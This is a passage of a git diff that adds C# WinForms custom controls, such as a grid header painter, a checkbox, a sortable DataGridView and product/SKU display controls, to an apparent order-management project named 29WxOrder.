this.Index = index; + this.Span = span; + this.Text = text; + } + public int Index; + public int Span; + public string Text; + } + } +} diff --git a/29WxOrder/MyControl/DataGridViewHelper.cs b/29WxOrder/MyControl/DataGridViewHelper.cs new file mode 100644 index 0000000..64adbb3 --- /dev/null +++ b/29WxOrder/MyControl/DataGridViewHelper.cs @@ -0,0 +1,137 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.MyControl +{ + public class DataGridViewHelper + { + public DataGridViewHelper(DataGridView gridview) + { + gridview.CellPainting += new DataGridViewCellPaintingEventHandler(gridview_CellPainting); + } + + int top = 0; + int left = 0; + int height = 0; + int width1 = 0; + + public void gridview_CellPainting(object sender, DataGridViewCellPaintingEventArgs e) + { + #region 重绘datagridview表头 + DataGridView dgv = (DataGridView)(sender); + if (e.RowIndex != -1) return; + foreach (TopHeader item in Headers) + { + if (e.ColumnIndex >= item.Index && e.ColumnIndex < item.Index + item.Span) + { + if (e.ColumnIndex == item.Index) + { + top = e.CellBounds.Top; + left = e.CellBounds.Left; + height = e.CellBounds.Height; + } + int width = 0;//总长度 + for (int i = item.Index; i < item.Span + item.Index; i++) + { + width += dgv.Columns[i].Width; + } + Rectangle rect = new Rectangle(left, top, width, e.CellBounds.Height); + using (Brush backColorBrush = new SolidBrush(e.CellStyle.BackColor)) //Cell背景颜色 + { + //抹去原来的cell背景 + //e.Graphics.FillRectangle(backColorBrush, rect); + } + using (Pen gridLinePen = new Pen(ColorTranslator.FromHtml("#DAE1ED"))) //画笔颜色 + { + //e.Graphics.DrawLine(gridLinePen, left, top, left + width, top); + //e.Graphics.DrawLine(gridLinePen, left, top + height / 2, left + width, top + height / 2); + //e.Graphics.DrawLine(gridLinePen, left, top + height - 1, left + width, top + height - 1); //自定义区域下部横线 + width1 = 0; + e.Graphics.DrawLine(gridLinePen, left - 1, top+ height / 2, left - 1, top + height - 2); + + + } + using (Pen gridLinePen = new Pen(ColorTranslator.FromHtml("#EFF3F8"))) //画笔颜色 + { + //e.Graphics.DrawLine(gridLinePen, left, top, left + width, top); + //e.Graphics.DrawLine(gridLinePen, left, top + height / 2, left + width, top + height / 2); + //e.Graphics.DrawLine(gridLinePen, left, top + height - 1, left + width, top + height - 1); //自定义区域下部横线 + width1 = 0; + e.Graphics.DrawLine(gridLinePen, left - 1, top, left - 1, top + height / 2); + //e.AdvancedBorderStyle.Right = DataGridViewAdvancedCellBorderStyle.None; + //dgv.AdvancedColumnHeadersBorderStyle.Right = DataGridViewAdvancedCellBorderStyle.None; + /*for (int i = item.Index; i < item.Span + item.Index; i++) + { + if (i == 1 || i == 2) + { + width1 += dgv.Columns[i].Width - 1; //分隔区域首列 + } + else + { + width1 += dgv.Columns[i].Width; + } + e.Graphics.DrawLine(gridLinePen, left + width1, top + height / 2, left + width1, top + height); + } + SizeF sf = e.Graphics.MeasureString(item.Text, e.CellStyle.Font); + float lstr = (width - sf.Width) / 2; + float rstr = (height / 2 - sf.Height) / 2; + //画出文本框 + if (item.Text != "") + { + e.Graphics.DrawString(item.Text, e.CellStyle.Font, + new SolidBrush(e.CellStyle.ForeColor), + left + lstr, + top + rstr, + StringFormat.GenericDefault); + } + width = 0; + width1 = 0; + for (int i = item.Index; i < item.Span + item.Index; i++) + { + string columnValue = dgv.Columns[i].HeaderText; + width1 = dgv.Columns[i].Width; + sf = e.Graphics.MeasureString(columnValue, e.CellStyle.Font); + lstr = (width1 - sf.Width) / 2; + rstr = (height / 2 - sf.Height) / 2; + if (columnValue != "") + { + e.Graphics.DrawString(columnValue, e.CellStyle.Font, + new SolidBrush(e.CellStyle.ForeColor), + left + width + lstr, + top + height / 2 + rstr, + StringFormat.GenericDefault); + } + width += dgv.Columns[i].Width; + }*/ + } + e.Handled = true; + } + } + #endregion + } + private List _headers = new List(); + public List Headers + { + get { return _headers; } + } + + public struct TopHeader + { + public TopHeader(int index, int span, string text) + { + this.Index = index; + this.Span = span; + this.Text = text; + } + public int Index; + public int Span; + public string Text; + } + } + +} diff --git a/29WxOrder/MyControl/MyCheckBox.Designer.cs b/29WxOrder/MyControl/MyCheckBox.Designer.cs new file mode 100644 index 0000000..0cd120e --- /dev/null +++ b/29WxOrder/MyControl/MyCheckBox.Designer.cs @@ -0,0 +1,93 @@ +namespace _29WxOrder.MyControl +{ + partial class MyCheckBox + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.lblShow = new System.Windows.Forms.Label(); + this.pictureBox = new System.Windows.Forms.PictureBox(); + this.panel1 = new System.Windows.Forms.Panel(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox)).BeginInit(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // lblShow + // + this.lblShow.AutoSize = true; + this.lblShow.Dock = System.Windows.Forms.DockStyle.Right; + this.lblShow.Location = new System.Drawing.Point(31, 0); + this.lblShow.Margin = new System.Windows.Forms.Padding(3, 10, 3, 0); + this.lblShow.Name = "lblShow"; + this.lblShow.Size = new System.Drawing.Size(53, 12); + this.lblShow.TabIndex = 1; + this.lblShow.Text = "CheckBox"; + this.lblShow.Click += new System.EventHandler(this.lblShow_Click); + // + // pictureBox + // + this.pictureBox.BackColor = System.Drawing.Color.White; + this.pictureBox.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox.Location = new System.Drawing.Point(3, 2); + this.pictureBox.Name = "pictureBox"; + this.pictureBox.Size = new System.Drawing.Size(12, 12); + this.pictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.pictureBox.TabIndex = 2; + this.pictureBox.TabStop = false; + this.pictureBox.Click += new System.EventHandler(this.pictureBox_Click); + // + // panel1 + // + this.panel1.Controls.Add(this.pictureBox); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(31, 15); + this.panel1.TabIndex = 3; + // + // MyCheckBox + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.panel1); + this.Controls.Add(this.lblShow); + this.Name = "MyCheckBox"; + this.Size = new System.Drawing.Size(84, 15); + this.SizeChanged += new System.EventHandler(this.MyCheckBox_SizeChanged); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Label lblShow; + private System.Windows.Forms.PictureBox pictureBox; + private System.Windows.Forms.Panel panel1; + } +} diff --git a/29WxOrder/MyControl/MyCheckBox.cs b/29WxOrder/MyControl/MyCheckBox.cs new file mode 100644 index 0000000..74c4405 --- /dev/null +++ b/29WxOrder/MyControl/MyCheckBox.cs @@ -0,0 +1,182 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.MyControl +{ + public partial class MyCheckBox : UserControl + { + public MyCheckBox() + { + InitializeComponent(); + } + + private int width; + [Description("控件宽度"), Category("自定义属性")] + public int SelfWidth + { + get + { + return width; + } + set + { + this.width = value; + this.Width = value; + } + } + + private string text; + [Description("名称"), Category("自定义属性")] + public string SelfText + { + get + { + return text; + } + set + { + if (value == null) + { + this.text = "CheckBox"; + //this.Text = value; + this.lblShow.Text = "CheckBox"; + } + else + { + this.text = value; + this.lblShow.Text = value; + } + + } + } + + private bool MyChecked; + public bool SelfChecked + { + get + { + return MyChecked; + } + set + { + MyChecked = value; + //if (value) + //{ + // this.pictureBox.BackgroundImage = Properties.Resources.show; + //} + //else + //{ + // this.pictureBox.BackgroundImage = Properties.Resources.white; + //} + } + + } + + + private Size size = new Size(12, 12); + [Description("选中框大小"), Category("自定义属性")] + public Size SelfCheckSize + { + get + { + return size; + } + set + { + this.pictureBox.Size = value; + + } + } + + //private System.Drawing.Bitmap img; + //[Description("选中框背景图"), Category("自定义属性")] + //public System.Drawing.Bitmap SelfCheckImg + //{ + // get + // { + // return img; + // } + // set + // { + // if (value == null) + // { + // this.pictureBox.BackgroundImage = Properties.Resources.show; + // } + // else + // { + // this.pictureBox.BackgroundImage = value; + // } + + // } + //} + + + //private Image _imageItem; + //[Description("选中图片"), Category("外观")] + //public Image SelfSelectImage { get { return _imageItem; } } + + //private string _ImageName; + //[Description("图片路径"), Category("外观")] + //public string SelfImageName + //{ + // get { return _ImageName; } + // set + // { + // _ImageName = value; + // this._imageItem = Image.FromFile(_ImageName); + // _ImageName = System.IO.Path.GetFileName(_ImageName); + // Name = _ImageName; + // } + //} + + + private void MyCheckBox_SizeChanged(object sender, EventArgs e) + { + this.SelfWidth = this.Width; + } + + private void pictureBox_Click(object sender, EventArgs e) + { + if (MyChecked) + { + // this.pictureBox.BackgroundImage = Properties.Resources.white; + MyChecked = false; + } + else + { + // this.pictureBox.BackgroundImage = Properties.Resources.show; + MyChecked = true; + } + } + + private void lblShow_Click(object sender, EventArgs e) + { + pictureBox_Click(null, null); + } + + //新定义组件单击事件 + public new event EventHandler Click + { + add + { + base.Click += value; + pictureBox.Click += value; + lblShow.Click += value; + } + remove + { + base.Click -= value; + pictureBox.Click -= value; + lblShow.Click -= value; + } + } + + } +} diff --git a/29WxOrder/MyControl/MyCheckBox.resx b/29WxOrder/MyControl/MyCheckBox.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/MyControl/MyCheckBox.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/MyControl/MyDataGridView.cs b/29WxOrder/MyControl/MyDataGridView.cs new file mode 100644 index 0000000..99341e3 --- /dev/null +++ b/29WxOrder/MyControl/MyDataGridView.cs @@ -0,0 +1,182 @@ +using DevComponents.DotNetBar.Controls; +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Design; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using static System.Windows.Forms.ComboBox; + +namespace _29WxOrder.MyControl +{ + public class MyDataGridView : DataGridViewX + { + public ToolTip toolTip = new ToolTip(); + + private bool isCustomSort = false; + [Browsable(true), Description("是否自定义排序"), Category("自定义分组")] + public bool IsCustomSort + { + get { return isCustomSort; } + set + { + isCustomSort = value; + foreach (DataGridViewColumn colunm in this.Columns) + { + if (isCustomSort) + colunm.SortMode = DataGridViewColumnSortMode.NotSortable; + else + colunm.SortMode = DataGridViewColumnSortMode.Automatic; + } + } + } + + private static ComboBox cBox = new ComboBox(); + [Browsable(true), + Description("要自定义排序的列"), + Category("自定义分组"), + DesignerSerializationVisibility(DesignerSerializationVisibility.Content), + Localizable(true), + Editor("System.Windows.Forms.Design.ListControlStringCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", typeof(UITypeEditor)), + MergableProperty(false)] + public ObjectCollection CustomSortColumns { get; set; } = new ObjectCollection(new ComboBox()); + + public delegate void CustomSortEvent(object sender, string sortName, string sortType = "desc"); + public event CustomSortEvent CustomSorted; + + public MyDataGridView() + { + this.RowPostPaint += new System.Windows.Forms.DataGridViewRowPostPaintEventHandler(this.dgv_RowPostPaint); // 重绘 + this.ShowCellToolTips = false; + + toolTip.Draw += toolTip1_Draw; + + this.AlternatingRowsDefaultCellStyle.BackColor = Color.FromArgb(244, 244, 244);//隔行变色 + this.ColumnHeaderMouseClick += MyDataGridView_ColumnHeaderMouseClick; + } + + private void toolTip1_Draw(object sender, DrawToolTipEventArgs e) + { + e.Graphics.FillRectangle(Brushes.AliceBlue, e.Bounds); + e.Graphics.DrawRectangle(Pens.Chocolate, new Rectangle(0, 0, e.Bounds.Width - 1, e.Bounds.Height - 1)); + e.Graphics.DrawString(toolTip.ToolTipTitle + e.ToolTipText, e.Font, Brushes.Red, e.Bounds); + } + + // 重绘 + private void dgv_RowPostPaint(object sender, DataGridViewRowPostPaintEventArgs e) + { + Rectangle rectangle = new Rectangle(e.RowBounds.Location.X, e.RowBounds.Location.Y, this.RowHeadersWidth - 4, e.RowBounds.Height); + TextRenderer.DrawText(e.Graphics, (e.RowIndex + 1).ToString(), this.RowHeadersDefaultCellStyle.Font, rectangle, + this.RowHeadersDefaultCellStyle.ForeColor, TextFormatFlags.VerticalCenter | TextFormatFlags.Right); + } + + DataGridViewColumn colSort = null; + Label lblSort = null; + private void MyDataGridView_ColumnHeaderMouseClick(object sender, DataGridViewCellMouseEventArgs e) + { + if (!this.isCustomSort) + return; + + if (e.ColumnIndex < 0) + return; + + if (CustomSortColumns.Count > 0 && !CustomSortColumns.Cast().Select(l => l.ToString()).Contains(this.Columns[e.ColumnIndex].Name)) + return; + + if (lblSort == null) + { + lblSort = new Label() { ForeColor = Color.White, BackColor = Color.Transparent, AutoSize = true, }; + this.Controls.Add(lblSort); + + this.ColumnWidthChanged += (s, e) => onColResize(); + this.ColumnHeadersHeightChanged += (s, e) => onColResize(); + this.Scroll += (s, e) => onColResize(); + this.Resize += (s, e) => onColResize(); + this.Sorted += (s, e) => onColResize(); + this.RowHeadersWidthChanged += (s, e) => onColResize(); + this.ColumnStateChanged += (s, e) => onColResize(); + } + + if (colSort != null && colSort != this.Columns[e.ColumnIndex]) + { + lblSort.Text = ""; + colSort = this.Columns[e.ColumnIndex]; + } + colSort = this.Columns[e.ColumnIndex]; + + if (lblSort.Text == "▲") + { + lblSort.Text = ""; + colSort = null; + } + else if (lblSort.Text == "▼") + { + lblSort.Text = "▲"; + } + else + { + lblSort.Text = "▼"; + } + + CustomSorted?.Invoke(this, colSort?.Name, lblSort.Text == "▲" ? "asc" : lblSort.Text == "▼" ? "desc" : null); + onColResize(); + } + + void onColResize() + { + if (colSort == null) + return; + + int colLeft = (this.RowHeadersVisible ? this.RowHeadersWidth : 0) - (colSort.Frozen ? 0 : this.HorizontalScrollingOffset); + foreach (DataGridViewColumn col in this.Columns) + { + if (col.DisplayIndex >= colSort.DisplayIndex) break; + if (!col.Visible) continue; + colLeft += col.Width; + } + + var newPoint = new Point(colLeft + 1, (this.ColumnHeadersHeight + 1) / 2 - lblSort.Height / 2); + newPoint.X += colSort.Width - lblSort.Width - 2; + var minLeft = colLeft; + var maxLeft = colLeft + colSort.Width - lblSort.Width; + + if (newPoint.X < minLeft) newPoint.X = minLeft; + if (newPoint.X > maxLeft) newPoint.X = maxLeft; + + lblSort.Location = newPoint; + } + + #region 鼠标浮动 + protected override void OnCellMouseMove(DataGridViewCellMouseEventArgs e) + { + base.OnCellMouseMove(e); + + if (e.RowIndex >= 0) + { + this.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.SkyBlue; + } + } + + protected override void OnCellMouseLeave(DataGridViewCellEventArgs e) + { + base.OnCellMouseLeave(e); + + if (e.RowIndex != -1) + { + if (e.RowIndex % 2 == 0) + { + this.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.White; + } + else + { + this.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.FromArgb(244, 244, 244); + } + } + } + #endregion + } +} diff --git a/29WxOrder/MyControl/MyProDetailsControl.Designer.cs b/29WxOrder/MyControl/MyProDetailsControl.Designer.cs new file mode 100644 index 0000000..82d12e2 --- /dev/null +++ b/29WxOrder/MyControl/MyProDetailsControl.Designer.cs @@ -0,0 +1,165 @@ +namespace _29WxOrder.MyControl +{ + partial class MyProDetailsControl + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.panelALL = new System.Windows.Forms.Panel(); + this.lblPrice = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.lblSaleCount = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.pictureBoxImg = new System.Windows.Forms.PictureBox(); + this.lblTitle = new System.Windows.Forms.Label(); + this.labelLine = new System.Windows.Forms.Label(); + this.panelALL.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBoxImg)).BeginInit(); + this.SuspendLayout(); + // + // panelALL + // + this.panelALL.Controls.Add(this.lblPrice); + this.panelALL.Controls.Add(this.label2); + this.panelALL.Controls.Add(this.lblSaleCount); + this.panelALL.Controls.Add(this.label1); + this.panelALL.Controls.Add(this.pictureBoxImg); + this.panelALL.Controls.Add(this.lblTitle); + this.panelALL.Controls.Add(this.labelLine); + this.panelALL.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelALL.Location = new System.Drawing.Point(0, 0); + this.panelALL.Name = "panelALL"; + this.panelALL.Size = new System.Drawing.Size(142, 200); + this.panelALL.TabIndex = 0; + // + // lblPrice + // + this.lblPrice.AutoSize = true; + this.lblPrice.BackColor = System.Drawing.Color.Transparent; + this.lblPrice.Font = new System.Drawing.Font("微软雅黑", 10F); + this.lblPrice.ForeColor = System.Drawing.Color.Red; + this.lblPrice.Location = new System.Drawing.Point(12, 176); + this.lblPrice.Name = "lblPrice"; + this.lblPrice.RightToLeft = System.Windows.Forms.RightToLeft.Yes; + this.lblPrice.Size = new System.Drawing.Size(44, 20); + this.lblPrice.TabIndex = 23; + this.lblPrice.Text = "21.86"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.BackColor = System.Drawing.Color.Transparent; + this.label2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label2.ForeColor = System.Drawing.Color.Red; + this.label2.Location = new System.Drawing.Point(2, 180); + this.label2.Name = "label2"; + this.label2.RightToLeft = System.Windows.Forms.RightToLeft.Yes; + this.label2.Size = new System.Drawing.Size(15, 17); + this.label2.TabIndex = 32; + this.label2.Text = "¥"; + // + // lblSaleCount + // + this.lblSaleCount.AutoSize = true; + this.lblSaleCount.BackColor = System.Drawing.SystemColors.Control; + this.lblSaleCount.ForeColor = System.Drawing.Color.DimGray; + this.lblSaleCount.Location = new System.Drawing.Point(90, 181); + this.lblSaleCount.Name = "lblSaleCount"; + this.lblSaleCount.Size = new System.Drawing.Size(29, 12); + this.lblSaleCount.TabIndex = 31; + this.lblSaleCount.Text = "0000"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.BackColor = System.Drawing.SystemColors.Control; + this.label1.ForeColor = System.Drawing.Color.DimGray; + this.label1.Location = new System.Drawing.Point(61, 181); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(29, 12); + this.label1.TabIndex = 30; + this.label1.Text = "已拼"; + // + // pictureBoxImg + // + this.pictureBoxImg.Location = new System.Drawing.Point(0, 3); + this.pictureBoxImg.Name = "pictureBoxImg"; + this.pictureBoxImg.Size = new System.Drawing.Size(140, 140); + this.pictureBoxImg.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBoxImg.TabIndex = 29; + this.pictureBoxImg.TabStop = false; + this.pictureBoxImg.Click += new System.EventHandler(this.lblTitle_Click); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.BackColor = System.Drawing.SystemColors.Control; + this.lblTitle.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblTitle.ForeColor = System.Drawing.Color.DimGray; + this.lblTitle.Location = new System.Drawing.Point(2, 155); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(148, 12); + this.lblTitle.TabIndex = 24; + this.lblTitle.Text = "垃圾桶垃圾桶垃圾桶垃圾"; + this.lblTitle.Click += new System.EventHandler(this.lblTitle_Click); + // + // labelLine + // + this.labelLine.AutoSize = true; + this.labelLine.BackColor = System.Drawing.SystemColors.Control; + this.labelLine.ForeColor = System.Drawing.Color.Gainsboro; + this.labelLine.Location = new System.Drawing.Point(4, 143); + this.labelLine.Name = "labelLine"; + this.labelLine.Size = new System.Drawing.Size(149, 12); + this.labelLine.TabIndex = 1; + this.labelLine.Text = "------------------------"; + // + // MyProDetailsControl + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.panelALL); + this.Name = "MyProDetailsControl"; + this.Size = new System.Drawing.Size(142, 200); + this.panelALL.ResumeLayout(false); + this.panelALL.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBoxImg)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panelALL; + private System.Windows.Forms.Label labelLine; + private System.Windows.Forms.Label lblPrice; + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.PictureBox pictureBoxImg; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label lblSaleCount; + private System.Windows.Forms.Label label2; + } +} diff --git a/29WxOrder/MyControl/MyProDetailsControl.cs b/29WxOrder/MyControl/MyProDetailsControl.cs new file mode 100644 index 0000000..0327613 --- /dev/null +++ b/29WxOrder/MyControl/MyProDetailsControl.cs @@ -0,0 +1,106 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.SearchSame; + +namespace _29WxOrder.MyControl +{ + public partial class MyProDetailsControl : UserControl + { + public MyProDetailsControl() + { + InitializeComponent(); + } + + private string proUrl; + public string ProUrl + { + get + { + return proUrl; + } + set + { + proUrl = value; + } + } + public void setControlValue() + { + //this.panelImg.Style.BackgroundImage = Image.FromStream(System.Net.WebRequest.Create("").GetResponse().GetResponseStream()); + var img = Image.FromStream(System.Net.WebRequest.Create("http://g-search2.alicdn.com/img/bao/uploaded/i4/i1/2206646420160/O1CN01W4W6aE1D3JwfBqd5x_!!2206646420160.jpg_250x250.jpg").GetResponse().GetResponseStream()); + this.pictureBoxImg.Image = img; + } + public void setControlValuex(ProductInfo pro) + { + //this.panelImg.Style.BackgroundImage = Image.FromStream(System.Net.WebRequest.Create("").GetResponse().GetResponseStream()); + var img = Image.FromStream(System.Net.WebRequest.Create(pro.MainProductImageUrl).GetResponse().GetResponseStream()); + this.pictureBoxImg.Image = img; + this.lblTitle.Text = pro.ProductName; + this.lblSaleCount.Text = pro.SaleCount.ToString() + "件"; + lblPrice.Text = pro.MinPrice.ToString(); + proUrl = pro.Platform == 2 ? "pd-" + pro.ProductId : "tb-" + pro.ProductId; + } + //定义委托 + public delegate void LblClickHandle(object sender, EventArgs e); + //定义事件1 + public event LblClickHandle lblControlBtnClicked; + private void lblTitle_Click(object sender, EventArgs e) + { + if (lblControlBtnClicked != null) + //lblControlBtnClicked(sender, e);//把按钮自身作为参数传递 + lblControlBtnClicked(sender, new ConEventArgs(proUrl));//把按钮自身作为参数传递 + } + + + } + + public class ConEventArgs : EventArgs + { + private string goodsPrice = ""; + public string GoodsPrice + { + get { return this.goodsPrice; } + } + private string goodsName = ""; + public string GoodsName + { + get { return this.goodsName; } + } + private int customerNumber = 0; + public int CustomerNumber + { + get { return this.customerNumber; } + } + public string thumbUrl = ""; + public string ThumbUrl + { + get { return this.thumbUrl; } + } + public ConEventArgs(string tag, string goodsPrice, string goodsName, int customerNumber, string thumbUrl) + { + this.tag = tag; + this.goodsPrice = goodsPrice; + this.goodsName = goodsName; + this.customerNumber = customerNumber; + this.thumbUrl = thumbUrl; + } + + private string tag = ""; + //这里还可以继续添加其他需要传递的消息参数 + public ConEventArgs(string tag) + { + this.tag = tag; + } + public string Tag + { + get { return this.tag; } + } + } + +} diff --git a/29WxOrder/MyControl/MyProDetailsControl.resx b/29WxOrder/MyControl/MyProDetailsControl.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/MyControl/MyProDetailsControl.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/MyControl/MyProSkuItemsControl.Designer.cs b/29WxOrder/MyControl/MyProSkuItemsControl.Designer.cs new file mode 100644 index 0000000..95d4cb1 --- /dev/null +++ b/29WxOrder/MyControl/MyProSkuItemsControl.Designer.cs @@ -0,0 +1,166 @@ +namespace _29WxOrder.MyControl +{ + partial class MyProSkuItemsControl + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.pictureBoxImg = new System.Windows.Forms.PictureBox(); + this.lblSkuId = new System.Windows.Forms.Label(); + this.lblPrice = new System.Windows.Forms.Label(); + this.panelBuy = new DevComponents.DotNetBar.PanelEx(); + this.lblSkuSpec = new System.Windows.Forms.Label(); + this.panel1.SuspendLayout(); + this.groupBox1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBoxImg)).BeginInit(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Controls.Add(this.groupBox1); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(420, 56); + this.panel1.TabIndex = 0; + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.pictureBoxImg); + this.groupBox1.Controls.Add(this.lblSkuId); + this.groupBox1.Controls.Add(this.lblPrice); + this.groupBox1.Controls.Add(this.panelBuy); + this.groupBox1.Controls.Add(this.lblSkuSpec); + this.groupBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupBox1.Location = new System.Drawing.Point(0, 0); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(420, 56); + this.groupBox1.TabIndex = 549; + this.groupBox1.TabStop = false; + // + // pictureBoxImg + // + this.pictureBoxImg.Dock = System.Windows.Forms.DockStyle.Left; + this.pictureBoxImg.Location = new System.Drawing.Point(3, 17); + this.pictureBoxImg.Name = "pictureBoxImg"; + this.pictureBoxImg.Size = new System.Drawing.Size(35, 36); + this.pictureBoxImg.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBoxImg.TabIndex = 0; + this.pictureBoxImg.TabStop = false; + // + // lblSkuId + // + this.lblSkuId.AutoSize = true; + this.lblSkuId.Location = new System.Drawing.Point(304, 23); + this.lblSkuId.Name = "lblSkuId"; + this.lblSkuId.Size = new System.Drawing.Size(35, 12); + this.lblSkuId.TabIndex = 545; + this.lblSkuId.Text = "skuid"; + this.lblSkuId.Visible = false; + // + // lblPrice + // + this.lblPrice.AutoSize = true; + this.lblPrice.BackColor = System.Drawing.Color.Transparent; + this.lblPrice.Font = new System.Drawing.Font("微软雅黑", 10F); + this.lblPrice.ForeColor = System.Drawing.Color.Red; + this.lblPrice.Location = new System.Drawing.Point(339, 19); + this.lblPrice.Name = "lblPrice"; + this.lblPrice.RightToLeft = System.Windows.Forms.RightToLeft.Yes; + this.lblPrice.Size = new System.Drawing.Size(44, 20); + this.lblPrice.TabIndex = 33; + this.lblPrice.Text = "21.86"; + // + // panelBuy + // + this.panelBuy.CanvasColor = System.Drawing.SystemColors.Control; + this.panelBuy.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelBuy.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelBuy.DisabledBackColor = System.Drawing.Color.Empty; + this.panelBuy.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelBuy.Location = new System.Drawing.Point(382, 20); + this.panelBuy.Name = "panelBuy"; + this.panelBuy.Size = new System.Drawing.Size(32, 21); + this.panelBuy.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelBuy.Style.BackColor1.Color = 